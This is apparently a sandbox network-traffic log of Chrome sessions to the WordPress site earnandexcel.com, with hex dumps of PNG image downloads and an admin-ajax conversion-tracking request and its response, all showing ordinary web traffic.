alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:48 UTC	464	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 b0 00 00 00 3f 08 06 00 00 00 40 51 42 53 00 00 1f b4 49 44 41 54 78 da ec 9a 55 a8 56 4d 14 86 55 ec ee ee ee ee 6e bc b0 03 54 50 2f 2c 2c d0 0b 1b 15 b1 10 03 44 11 14 5b 14 13 44 c1 56 54 c4 0e ec ee ee ee 58 3f cf c0 0b c3 a0 df fe ce 7f ae 84 b3 60 f8 f6 de 33 7b 56 bd 2b f6 9c 93 cc 92 28 89 fe 61 4a 66 49 94 44 ff 30 25 01 38 89 fe 69 4a 02 70 12 fd d3 14 02 d8 7e ff fe 6d d0 b7 6f df 4c f4 e5 cb 17 fb f5 eb 97 bd 7f ff de 7e fe fc 69 7f a3 77 ef de b9 75 d0 a7 4f 9f dc 75 2c 82 17 43 f4 fd fb 77 ee e1 c1 b5 1b 3f 7e fc 08 f7 f1 df d1 9c ae 99 8b 1c be 5e 5f bf 7e d5 33 e9 16 49 d8 26 e4 a9 fd b4 87 e6 90 3f 24 6c e3 f3 43 06 de 8d 93 e0 c7 de e2 1d b9 26 21 84 8f fd 3d 7c f9 43 5e d2 11 3d Data Ascii: PNGIHDR?@QBSIDATxUVMUnTP/,,D[DVTX?`3{V+(aJfID0%8iJp~moL~iwuOu,Cw?~^_~3I&?$lC&!=\|C^=
2024-04-11 21:26:48 UTC	1369	IN	Data Raw: 16 40 c3 a4 f6 f6 ed 5b e9 e8 03 d3 97 29 e4 1b fa 9c 3d 23 01 ac c5 6c 1c 66 5c 39 4e 73 fc d2 36 84 ad 86 e6 04 e6 30 20 34 cf 9e ec 17 3a 51 c6 e6 3e 2c 27 a1 a2 e2 a7 77 e3 02 f0 9b 37 6f b4 fe ff 02 08 7d 90 9f 5f c9 19 66 63 5f 97 3f ca c9 fb 09 24 74 17 28 a3 12 83 d6 05 20 8c 9b 90 0f e0 c9 4f aa 1e 0a 18 78 87 19 39 ac 44 7f e4 fd fc f9 73 ad 65 2f cd b1 1f 01 04 0f dd eb 5a 6b 22 00 1c 94 3a 31 23 9a 03 d2 a6 80 41 82 fa 82 84 86 0d 4b 51 5c ce 53 86 f1 f7 92 6c ca f6 0c 51 9c 00 c6 28 f1 03 37 e1 00 0b 7b f7 b0 af 0b 4b ad e4 8a 04 58 28 6f d8 82 09 b0 89 20 ed 1f 06 a4 ec 1d ae e5 59 88 0f 5f 4f e6 c2 8c cb be b1 2a 39 cf 23 aa 6d 44 0b a1 0d 94 45 b5 d1 b6 6d db 6c ee dc b9 b6 76 ed 5a bb 70 e1 42 cc 9e 57 74 eb d6 2d 5b b6 6c 99 cd 9b 37 cf Data Ascii: @[)=#lf\9Ns60 4:Q>,'w7o}_fc_?$t( Ox9Dse/Zk":1#AKQ\SlQ(7{KX(o Y_O*9#mDEmlvZpBWt-[l7
2024-04-11 21:26:48 UTC	1369	IN	Data Raw: fb 02 31 f3 5c a3 13 73 54 18 ff ec 97 13 9b 48 00 f3 3e bc 01 25 20 11 98 05 5c 9e 31 df a0 41 03 d6 28 23 0a c4 5c 03 2a ee d1 8d fd e9 ed 25 03 3e 0d cf 60 69 19 a8 46 04 04 bc 90 41 c0 44 7f 55 3a 3d 63 c0 8b b5 e8 8f de 04 18 c0 55 e0 bb 44 35 73 e6 4c 05 ae 5a 4d 55 22 32 33 c3 7d 43 2c 58 b0 00 10 53 35 48 42 00 1b 30 b3 ce 6f fb e2 03 b0 8e 35 18 28 ac 0f ad de bd 7b 03 12 94 41 70 04 c5 b1 08 8e c3 00 37 00 52 84 03 60 14 53 c9 d5 7b ce a8 63 c6 8c 41 11 d7 1f e7 ce 9d 5b 86 62 60 44 ee 1d 4f d1 aa 55 ab 00 2b 8e 86 9f b2 0d 4e c4 81 c8 85 c3 70 54 a2 01 2c 07 89 07 d5 00 30 a2 07 81 c3 3d eb 95 ed 9a 36 6d 8a 1c ac c7 81 04 9f 0b b4 14 29 52 20 1b ed 97 ff e1 18 09 60 d9 0a b0 62 0b f8 92 20 68 0d 28 cd d8 19 70 f0 9c 35 3e 80 f9 e5 5d fc 02 e0 Data Ascii: 1\sTH>% \1A(#\*%>`iFADU:=cUD5sLZMU"23}C,XS5HB0o5({Ap7R`S{cA[b`DOU+NpT,0=6m)R `b h(p5>]
2024-04-11 21:26:48 UTC	1369	IN	Data Raw: ac f8 25 eb 7d 37 30 cf 9e 3d 2b a7 5e c9 1f a1 5c 03 c0 4d 48 fd 4d 49 92 c7 16 7e cf 74 9a a4 b1 60 c0 62 f0 dd 23 2b 48 0e 40 c1 0d 1f b2 c0 40 af 2d 4d 22 71 ce 7d b0 60 f8 78 e0 68 6c 4c f8 78 ad 38 7c f1 6b 27 19 7f f3 cd 37 fa 13 c8 44 21 18 0a 46 c1 35 e4 ef d9 3c 07 19 90 0b 43 95 c2 ce f6 6f c0 2e 8c 74 bc 00 2b 32 aa bf 75 ec cc 58 20 96 39 d1 61 03 48 73 4d de 0c 1e 0d ce f5 b3 9a 78 ab 2c 91 89 89 83 0b fb e0 83 0f 04 bd 4d 34 e2 80 ae 23 c8 42 38 ee 8d 63 4a 97 de a7 9d 04 ac 9d 8f 06 30 00 51 16 cf d5 ce a3 87 b6 51 b0 e2 c6 65 ab 78 1e 7c f6 a7 9f 7e 3a 62 81 4b 0a 88 72 50 7c a1 a6 07 e9 dd b4 cc ef bf ff 3e 8f 28 f2 50 3c d9 38 a4 fc 6a 47 a6 bb 16 6b 27 ef 62 d9 da ce f2 93 81 f7 28 9e f8 7b b7 67 b1 77 a1 d5 99 a0 3d 6e 81 81 61 d6 41 Data Ascii: %}70=+^\MHMI~t`b#+H@@-M"q}`xhlLx8\|k'7D!F5<Co.t+2uX 9aHsMx,M4#B8cJ0QQex\|~:bKrP\|>(P<8jGk'b({gw=naA
2024-04-11 21:26:48 UTC	1369	IN	Data Raw: e2 f4 b7 f7 7c c6 5d 72 55 53 48 59 de c3 3c 29 45 c2 ff dc 5f a8 cc 2a 87 3f ff fc d3 fd 95 df 29 64 f1 bf bf 4b f9 5e 05 c0 80 93 15 8c df 57 4a 59 dd 6b f3 00 9f 01 6d 2e db 67 94 cb a4 48 64 46 db 1c c9 e1 20 07 2e 91 33 ad aa ff 6b 57 6d d2 0e cf f4 5e 7d f0 19 b7 bf 17 19 4c 6f b7 29 62 d6 58 82 89 c2 00 72 8a 50 48 cd df 55 c0 a1 6d 3c 4e 6d 4e 81 c9 92 67 e2 09 97 47 3f 9b 03 d7 d1 02 e5 c7 8f 2a f0 ff 69 35 ee 11 ae b4 83 e3 9e 3f eb 01 9a 89 a7 d5 94 65 96 eb 5d 8b 03 03 88 d7 8a d8 2b 28 0f e4 c0 03 2c 65 bb aa db f5 1e 6e 8a 77 d6 8f 26 c6 5e 2f 01 b8 08 46 34 24 2b d8 e4 b5 cf 6a 97 cf ab 4b 69 c5 0c f7 0e f0 22 13 38 b4 67 36 e9 cb 0b dc b7 23 10 ca a1 56 05 88 79 3f 11 88 b2 74 fa da 12 a3 da 57 1b 92 89 62 2e 0a 2d ac 37 33 b7 e7 01 18 28 Data Ascii: \|]rUSHY<)E_?)dK^WJYkm.gHdF .3kWm^}Lo)bXrPHUm<NmNgG?i5?e]+(,enw&^/F4$+jKi"8g6#Vy?tWb.-73(
2024-04-11 21:26:48 UTC	1369	IN	Data Raw: 53 27 f2 bb 16 80 1b 8b bd 08 97 92 33 24 15 e7 b8 47 00 e6 a9 2c e3 4a 56 7b 13 c5 ed c1 b6 25 de 4b 7f 2a 06 72 ff 62 cf fa 10 7d 89 b6 00 b0 36 9e 16 85 d8 6b f2 8b 11 06 e6 b9 42 d5 44 8d b0 5a 9c 19 7d 40 1d 58 d2 2a b4 b8 33 83 eb 7b c5 6c a5 2f 0b f3 b4 25 51 96 ad c9 59 c0 28 9d 09 f0 da 92 30 f7 9e b3 8f 05 70 1e 00 30 71 ff 2c d5 0c f4 b3 34 ac 2d c5 73 ad b6 17 c1 30 68 94 95 b2 25 a3 80 a2 dd 57 a3 10 db 22 76 88 86 00 30 05 2c f5 5b 42 86 87 f3 bc 07 56 fa 5e 02 70 63 5f 9f 14 16 91 c3 4c 2f 17 23 87 0b 94 cf ba ba 9e 79 0e 80 73 77 eb 98 e0 95 1d b3 74 1e 89 37 00 28 43 16 ac e0 7a 35 bb 3a d3 e7 c0 6a 65 86 89 04 6b 20 86 1b f9 9f 71 c4 99 ed 29 9d 4a 18 9e e5 fa 32 84 2d 3c bd 16 85 28 ae e9 f9 d5 31 ec 99 3f 70 02 18 a0 b4 5e cf 35 da 6a Data Ascii: S'3$G,JV{%Krb}6kBDZ}@X3{l/%QY(0p0q,4-s0h%W"v0,[BV^pc_L/#yswt7(Cz5:jek q)J2-<(1?p^5j
2024-04-11 21:26:48 UTC	864	IN	Data Raw: 05 0a 71 e0 bd a3 64 99 ab 99 fd e2 6e 5b bf 57 69 61 71 eb 56 69 00 0a 05 df 71 5b cb d5 db b8 5b 1b 8a de 04 c8 b6 af 75 96 e2 8e 2f 17 61 28 7e ae fd 64 47 2e fd a8 8e dd 27 19 93 e8 60 7c b4 98 b6 6b db 84 05 40 5b f9 9d 52 74 ea 4b 13 f2 56 8d 4c 90 b7 6f 9d 53 84 08 77 9f 51 8b 53 a3 10 c5 58 8b 11 e2 5b dc 10 2b 53 c5 54 b5 b8 b6 95 ca 35 d5 c8 00 27 92 e0 3a 82 2e 47 6e a0 a5 a2 45 0d 00 19 20 69 35 ce 58 29 26 8b 9c d0 b3 16 59 62 9c 91 4b 6b a3 6d 3c da 40 b9 af 49 c8 45 00 eb 53 83 88 8b bb 4f 01 f8 c0 57 fd 85 05 9d eb d8 7b 27 d7 2e 0a c5 92 05 aa 68 16 e0 1a 64 0a 86 83 ee df 4b 53 d7 9b 5c 5b a2 14 80 2a 18 2a 1e 3e bf 33 8b c9 67 65 1c 65 e0 55 cc 51 6c 33 80 af 6f 7a 58 ff fd 04 80 fe a3 79 19 91 96 52 45 29 b2 fa fe 8e 1e 15 71 0a fc 3c Data Ascii: qdn[WiaqViq[[u/a(~dG.'`\|k@[RtKVLoSwQSX[+ST5':.GnE i5X)&YbKkm<@IESOW{'.hdKS\[**>3geeUQl3ozXyRE)q<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.17	49886	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:48 UTC	1230	OUT	POST /wp-admin/admin-ajax.php HTTP/1.1 Host: earnandexcel.com Connection: keep-alive Content-Length: 196 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json, text/javascript, /; q=0.01 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://earnandexcel.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _ga=GA1.2.668614997.1712870801; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}
2024-04-11 21:26:48 UTC	196	OUT	Data Raw: 5f 74 75 74 6f 72 5f 6e 6f 6e 63 65 3d 63 38 65 65 35 64 61 31 62 30 26 70 6f 73 74 5f 69 64 3d 37 30 36 26 61 63 74 69 6f 6e 3d 74 76 65 5f 64 61 73 68 5f 66 72 6f 6e 74 5f 61 6a 61 78 26 74 76 65 5f 64 61 73 68 5f 64 61 74 61 25 35 42 74 75 5f 63 6f 6e 76 65 72 73 69 6f 6e 5f 65 76 65 6e 74 73 25 35 44 25 35 42 61 63 74 69 6f 6e 25 35 44 3d 74 76 65 5f 75 6c 74 5f 63 6f 6e 76 65 72 73 69 6f 6e 5f 65 76 65 6e 74 26 74 76 65 5f 64 61 73 68 5f 64 61 74 61 25 35 42 74 75 5f 63 6f 6e 76 65 72 73 69 6f 6e 5f 65 76 65 6e 74 73 25 35 44 25 35 42 70 6f 73 74 5f 69 64 25 35 44 3d 37 30 36 Data Ascii: _tutor_nonce=c8ee5da1b0&post_id=706&action=tve_dash_front_ajax&tve_dash_data%5Btu_conversion_events%5D%5Baction%5D=tve_ult_conversion_event&tve_dash_data%5Btu_conversion_events%5D%5Bpost_id%5D=706
2024-04-11 21:26:48 UTC	1104	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:48 GMT Content-Type: application/json; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0e971e25176c-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: https://earnandexcel.com Cache-Control: no-cache, must-revalidate, max-age=0, no-store Expires: Wed, 11 Jan 1984 05:00:00 GMT Vary: Accept-Encoding accept-ch: Sec-CH-UA-Mobile access-control-allow-credentials: true ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p pragma: no-cache referrer-policy: strict-origin-when-cross-origin x-content-type-options: nosniff X-Edge-Location-Klb: 1 x-frame-options: SAMEORIGIN x-robots-tag: noindex Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WJknkwF%2BcY%2BuXUp5KXhSBhV5yuh6PfyO9iXe6YnLw5AQcKMosmhNwz49YKDlyoWJzuRVNhg4NwgDHDvMEmHR8uaDDRqeNdalD9XfV5yngHNaHZSeShTpCrMJzFbrd%2FdsNQY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:48 UTC	51	IN	Data Raw: 32 64 0d 0a 7b 22 74 75 5f 63 6f 6e 76 65 72 73 69 6f 6e 5f 65 76 65 6e 74 73 22 3a 22 63 6f 6e 76 65 72 73 69 6f 6e 20 63 68 65 63 6b 65 64 22 7d 0d 0a Data Ascii: 2d{"tu_conversion_events":"conversion checked"}
2024-04-11 21:26:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.17	49885	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:48 UTC	1100	OUT	GET /wp-content/uploads/UBS.png HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _ga=GA1.2.668614997.1712870801; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}
2024-04-11 21:26:48 UTC	907	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:48 GMT Content-Type: image/png Content-Length: 9500 Connection: close CF-Ray: 872e0e97ddbc4204-EWR CF-Cache-Status: DYNAMIC Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: "60df3303-251c" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:43 GMT ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=B%2BgHy0WSU3%2BPmNXEH23pzvQvn0jXXjBUtuep8ngq9gOCgxAfHHP%2B4RxMdgWmV8rmrI%2BLc2jRIGI36IXiGBFxfRcSLtrKoRnv5JpCh9h22k9hDkTtDXciZ%2FBioaQFhaYcdZE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:48 UTC	462	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 bf 00 00 00 51 08 06 00 00 00 83 a4 77 f4 00 00 24 e3 49 44 41 54 78 da ec 5a 49 48 96 5d 14 36 9a 68 5e 34 0f 34 cf 73 d1 3c 40 11 11 11 54 14 45 51 51 11 44 45 45 a8 b8 10 1c 36 ba 10 51 44 5c 88 6e dd 08 ba 50 51 14 44 44 10 74 e5 42 05 71 e1 b0 10 e7 79 9e ce cf 73 e0 81 cb c5 be 57 7d 5f f9 fb f0 7d e0 f2 0e df bd f7 3d f7 dc e7 9c 7b ee b9 5f 88 f8 f0 b1 4c 11 22 3e 7c 2c 53 f8 e4 f7 b1 6c e1 93 df c7 b2 85 2b f2 cf ce ce 06 2c 76 dd c9 c9 49 21 46 47 47 85 ef 87 87 87 a5 af af 4f 80 a9 a9 29 ad e7 c3 47 50 93 7f 70 70 d0 24 b2 de 4f 4c 4c 08 49 fe 37 8c 8f 8f 6b 3d 1f 3e 82 96 fc 81 00 72 9b 06 60 d7 9f 9e 9e 16 1f 3e 82 9e fc f0 f8 33 33 33 20 34 09 af cf c4 d8 d8 98 30 14 f2 e1 43 11 ec e4 Data Ascii: PNGIHDRQw$IDATxZIH]6h^44s<@TEQQDEE6QD\nPQDDtBqysW}_}={_L">\|,Sl+,vI!FGGO)GPpp$OLLI7k=>r`>333 40C
2024-04-11 21:26:48 UTC	1369	IN	Data Raw: fd 53 cf ac c3 f7 8e e0 b9 08 fb e7 4a eb 12 ec 1b f2 43 16 16 3c 7b 76 16 c3 3e 39 66 1b f6 7b 3b aa 20 28 13 eb bb 25 3f 85 0b 24 90 23 f9 f7 ed db 27 2b 57 ae c4 e6 16 c6 a2 64 3f 7e fc b8 00 49 49 49 0b 27 bf 33 d1 cc 7e bc 22 80 49 58 4e 3a f5 13 a8 f0 60 cf 34 56 e8 81 6d f9 ce 9e 48 3c a3 9e 53 ff 66 1b ea 1c f2 52 4e d4 71 55 4c 90 f8 2c 78 5e 62 98 c6 c6 42 bd da 73 43 3d 98 8e da 75 d8 c3 8f 9b 02 61 c2 e0 cd 1d c9 ff e0 c1 03 59 bd 7a b5 ac 59 b3 46 f6 ec d9 23 5b b7 6e 95 4d 9b 36 c9 d9 b3 67 61 18 9e 90 1f 07 69 e6 0a 45 20 d3 e4 12 18 03 56 15 fb 79 21 ab 8a 9d f2 a5 ac 00 65 46 9f d4 2d cf 3f 50 e6 b5 f2 a1 4f 1b f4 8c ff 3a c8 13 8b e4 34 30 73 95 a1 41 d3 d0 a9 cf b9 8c c5 13 cf 4f eb fa 5b c7 8e e4 47 88 b3 65 cb 16 25 f9 c6 8d 1b 79 cf Data Ascii: SJC<{v>9f{; (%?$#'+Wd?~III'3~"IXN:`4VmH<SfRNqUL,x^bBsC=uaYzYF#[nM6gaiE Vy!eF-?PO:40sAO[Ge%y
2024-04-11 21:26:48 UTC	1369	IN	Data Raw: 5a 7d 07 89 56 9f 3e f6 b1 8f 5d 7d f4 a3 1f 3d dc fb a1 0f 7d 08 61 01 19 8e eb 5a 20 e3 be c6 8d 11 ce c1 86 fb c5 2f 7e b1 83 8e 81 6f 03 7e db 4e 87 f2 c1 0f 7e 10 61 01 b1 67 1d 80 ff 96 b7 bc e5 d0 ef 3f fe f1 8f 57 cf 3c f3 8c 7a 0f 52 fe 1f ff f8 c7 d5 f7 be f7 bd ab b7 be f5 ad 57 2f 7d e9 4b dd a7 5d fa 85 c8 31 05 ff 25 09 cf e7 fc 01 45 23 de f6 b6 b7 1d 38 df 34 5a df f1 8e 77 00 c9 54 13 22 00 9d e9 5a a0 e7 f9 39 dc f3 e2 17 bf f8 56 9c 3f 0e 12 58 b6 cb f5 57 bf fa 15 ae 75 e0 f6 d3 9e f8 e5 2f 7f 79 f5 dc 73 cf e5 99 e9 de b3 0d b6 5c 9f 8e 4f 7f fa d3 88 1b e8 0f 40 7a dd eb 5e 77 f5 da d7 be 16 38 0e e7 3f fd e9 4f 7b 46 36 c3 ac ea 5a 03 4f dd 88 a0 6b a4 84 00 ac 89 46 04 df f8 c6 37 80 9d c4 88 e3 5e 1b f7 88 39 20 26 04 5a db 48 27 Data Ascii: Z}V>]}=}aZ /~o~N~ag?W<zRW/}K]1%E#84ZwT"Z9V?XWu/ys\O@z^w8?O{F6ZOkF7^9 &ZH'
2024-04-11 21:26:48 UTC	1369	IN	Data Raw: 2b f7 11 fe 57 0f a0 7a 06 6e c9 d5 77 eb f6 b7 8e 1a 60 71 44 20 c5 65 23 02 6d 05 fe 63 65 f6 7b 4a cb 77 be f3 9d 08 29 c3 99 ca 57 9d 87 fa ff fc e7 3f 6f 90 4e 4f a0 79 d2 1f f7 20 1c ed e2 e3 9f cf dd 06 bc 3e cc 7a 36 71 21 5a aa 0f c3 57 bd a4 fe f9 6a 0f ae a9 b2 d4 0b 07 d1 02 c8 a2 70 00 ee bf 08 20 fd bb cf dc 9a 5b 17 44 e5 6c 83 c0 8b 48 a6 9a d3 e4 0a 6e 4c 62 ea 7c 7a 78 fa ed 6f 7f fb 9b 4e bb 8e 5a 14 b1 10 c5 b8 df 9e 08 83 73 01 ff 09 f0 1b af 1d 27 79 cf 7b de a3 7f d9 38 d5 c3 2e f1 1b 2f 57 f7 6f fd 9d 43 82 4b 12 f1 68 07 ae af 5f da 87 d1 1e 8b cb 74 5e b9 ce 33 26 ae 22 0a 6c 4e b8 87 cf 77 75 1a 38 94 47 bf cd b0 65 d5 2b 44 0c c0 a7 83 67 f0 e6 d3 2f 1e e0 93 31 ca 57 3c 8b 40 cd 5c c3 cb 2b 11 20 05 83 e8 d1 81 3e 75 06 65 6f Data Ascii: +Wznw`qD e#mce{Jw)W?oNOy >z6q!ZWjp [DlHnLb\|zxoNZs'y{8./WoCKh_t^3&"lNwu8Ge+Dg/1W<@\+ >ueo
2024-04-11 21:26:48 UTC	1369	IN	Data Raw: eb b9 d7 31 fd be 11 c1 6e df 4d 04 bb db dc 62 ec 0b f8 5f f5 aa 8c 4d e0 e6 91 03 ac 96 60 72 51 eb 9f e7 52 75 04 37 3d bb 00 d4 54 47 b3 ad f6 38 6f 6c b8 76 1a d0 56 c3 b5 a4 d2 38 52 a7 b4 a7 00 1a 69 83 20 b4 d9 ff 65 a4 22 8a b2 5c 5d 4f f5 de 69 d8 67 81 7f 83 2c d0 1c e3 9c 38 c0 4d 7b fe 08 8c e1 1c d3 d8 95 02 41 d5 e9 bb e4 ad 5c 9d 7c ff 3a 4b cd b9 b6 fe 26 61 ef 7d 33 4a 79 ed a4 d2 4c 97 4d 15 7a e2 c1 ef 9c 7e 0d 60 ea 2f fa da a2 17 fd 40 04 e6 46 5a 34 3f be a5 99 b6 9a 94 df cf c8 5d f3 b1 e7 7e a7 4a 07 ce 3c 78 3c 48 6c b8 08 c0 38 fa f4 7c 12 c0 77 ed 6b 19 26 42 d4 6e 47 de 21 44 20 df 4c 7d 33 c3 f5 7e 38 ff 0d a5 0e 95 be 6c 40 12 7d 08 85 68 ca c0 2d 2f c7 3a 54 d4 0a e4 dc a5 26 57 64 97 4e d9 0a 2f 87 fc ff 19 aa a6 e3 eb e0 Data Ascii: 1nMb_M`rQRu7=TG8olvV8Ri e"\]Oig,8M{A\\|:K&a}3JyLMz~`/@FZ4?]~J<x<Hl8\|wk&BnG!D L}3~8l@}h-/:T&WdN/
2024-04-11 21:26:48 UTC	1369	IN	Data Raw: 7f be 9c 62 32 14 1a 41 40 23 01 80 4f bd b8 7f 1e bd da d8 67 c0 6f 9e 4f 81 7f 7b 8b f6 9e 9f 18 10 82 c3 ed d9 1d 98 84 f1 d7 4f 84 21 4a 0d fc cb 9b 35 c0 3f df 0d 65 d2 e2 de 3f fb d9 cf 18 a9 b8 f8 c1 92 ae 94 5c 16 f8 71 d4 bd 78 9d 21 aa d8 50 28 b7 67 c0 7c ff fb df 9f 97 00 b1 e4 d6 e4 ae b2 b3 58 93 51 18 9c 87 e8 20 39 14 aa cd 36 ba fb 2e df bf 52 7f 70 a1 b2 4d b5 29 42 79 f7 bb df 7d 27 6e bf 07 4f 41 e0 d7 19 bc f4 5f 71 8b 7b 28 ec 1b 13 09 68 88 4d 5e 4b 6d 79 a8 05 ec a9 2c a9 10 da 54 50 4c bf 11 26 02 e5 7d 81 a1 d4 cb ad 5a 62 4a d2 29 78 8d b8 58 4f 81 ff 26 c7 83 ef a5 d0 63 9e 6d 1f 53 bf 10 21 2f e5 91 f7 2a 0c b5 a7 48 98 8a 02 55 1b 4b 19 ac d2 8d 89 10 d7 e2 fe 26 d6 b5 40 bb d6 f0 fa 1d f1 10 4d 7b 92 e8 6c d3 2e d8 44 e3 90 Data Ascii: b2A@#OgoO{O!J5?e?\qx!P(g\|XQ 96.RpM)By}'nOA_q{(hM^Kmy,TPL&}ZbJ)xXO&cmS!/*HUK&@M{l.D
2024-04-11 21:26:48 UTC	1369	IN	Data Raw: 44 35 93 eb 5f 32 dc f6 d3 8b fc e2 cc c6 29 27 01 a6 bb 9f 1f 41 34 ce 3b 15 7d 8e 13 cc 16 6f e9 4d 2d da 36 bd 6d d9 5c bb e0 fc fd 21 7f 62 e6 ed 64 c0 72 27 c5 c5 51 78 20 c5 9d 71 a7 5e 38 90 0a 03 0c 26 c9 72 43 fe d6 dc 91 6d 48 95 14 68 83 db a4 85 c3 35 33 37 c7 40 19 44 7b 40 d6 2e d1 c4 26 86 61 59 2e 91 7a c5 1f 02 07 2e d4 3d 19 c1 16 45 03 fe e3 bc 25 bc cf 8a f0 39 40 71 ab 01 bf 09 70 00 87 76 03 c6 f6 a6 44 0c 1b c0 26 7c ae 9f 25 a9 4c 22 90 c6 65 11 50 93 f9 50 6a cf 04 3f f0 32 54 8d 21 10 e7 dd 92 62 20 dd 40 bf a9 c3 f5 cd 31 bd 66 f0 e0 3e 84 02 f8 52 57 cc 97 36 ee 31 a9 3d 1b f8 ea 9a 71 03 dc 9e 0a 06 13 6c 0e aa 2d 2d a0 7a 96 e1 be c0 3f 97 95 bd eb 5d ef 0a f0 1d 44 6d c0 6f 5b 92 40 25 58 d5 7b 53 e7 4a ad f2 4f 70 c5 22 b1 Data Ascii: D5_2)'A4;}oM-6m\!bdr'Qx q^8&rCmHh537@D{@.&aY.z.=E%9@qpvD&\|%L"ePPj?2T!b @1f>RW61=ql--z?]Dmo[@%X{SJOp"
2024-04-11 21:26:48 UTC	824	IN	Data Raw: e9 5f 86 e7 96 3a cd bb ff ae 23 06 58 f1 db 26 68 4c 8e 34 17 b9 c7 ed 8d 93 71 e1 c1 21 61 44 b6 11 09 b0 63 0c 24 1c 55 6b d7 e5 59 ad 3f 7e ac bd 3a 77 da e8 6e a8 23 e0 dc e4 4a 02 72 3a 36 8e 07 08 3a b4 55 12 dc 51 6e 38 d1 97 ab b3 5c 1f c0 01 6a 44 12 31 4c 8e 4d 42 5c 6b 34 4e 82 74 9d 43 59 7d b9 2d f8 cf 7d a5 68 bf b7 26 22 a3 de b1 36 04 3b aa 4e 9d 52 b9 e6 3c a9 3b d0 cd 17 38 9f 4a 89 08 c4 b5 65 3e 77 7b 6e 36 b8 1d d7 b5 3f ce bf e3 18 db dd bc 89 3d 62 72 1d 9b c7 1c aa eb a6 71 d8 bf dd 09 fc 51 75 56 b1 81 2c 11 6d 0f 9e ff 8e 3e a0 4d a2 b8 27 b3 13 70 61 ba 2b 0a 26 ce 88 39 60 56 47 06 a3 f4 04 a2 99 8e 8a 3b 6a 83 e4 b5 08 85 3d 52 69 55 d0 6a f7 26 ca 4a 5c 7f de 7f 5f 6a 4f 11 c8 cd 91 e3 72 7b 42 3c 7b 03 b4 49 37 c9 f9 fb 4f Data Ascii: _:#X&hL4q!aDc$UkY?~:wn#Jr:6:UQn8\jD1LMB\k4NtCY}-}h&"6;NR<;8Je>w{n6?=brqQuV,m>M'pa+&9`VG;j=RiUj&J\_jOr{B<{I7O

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
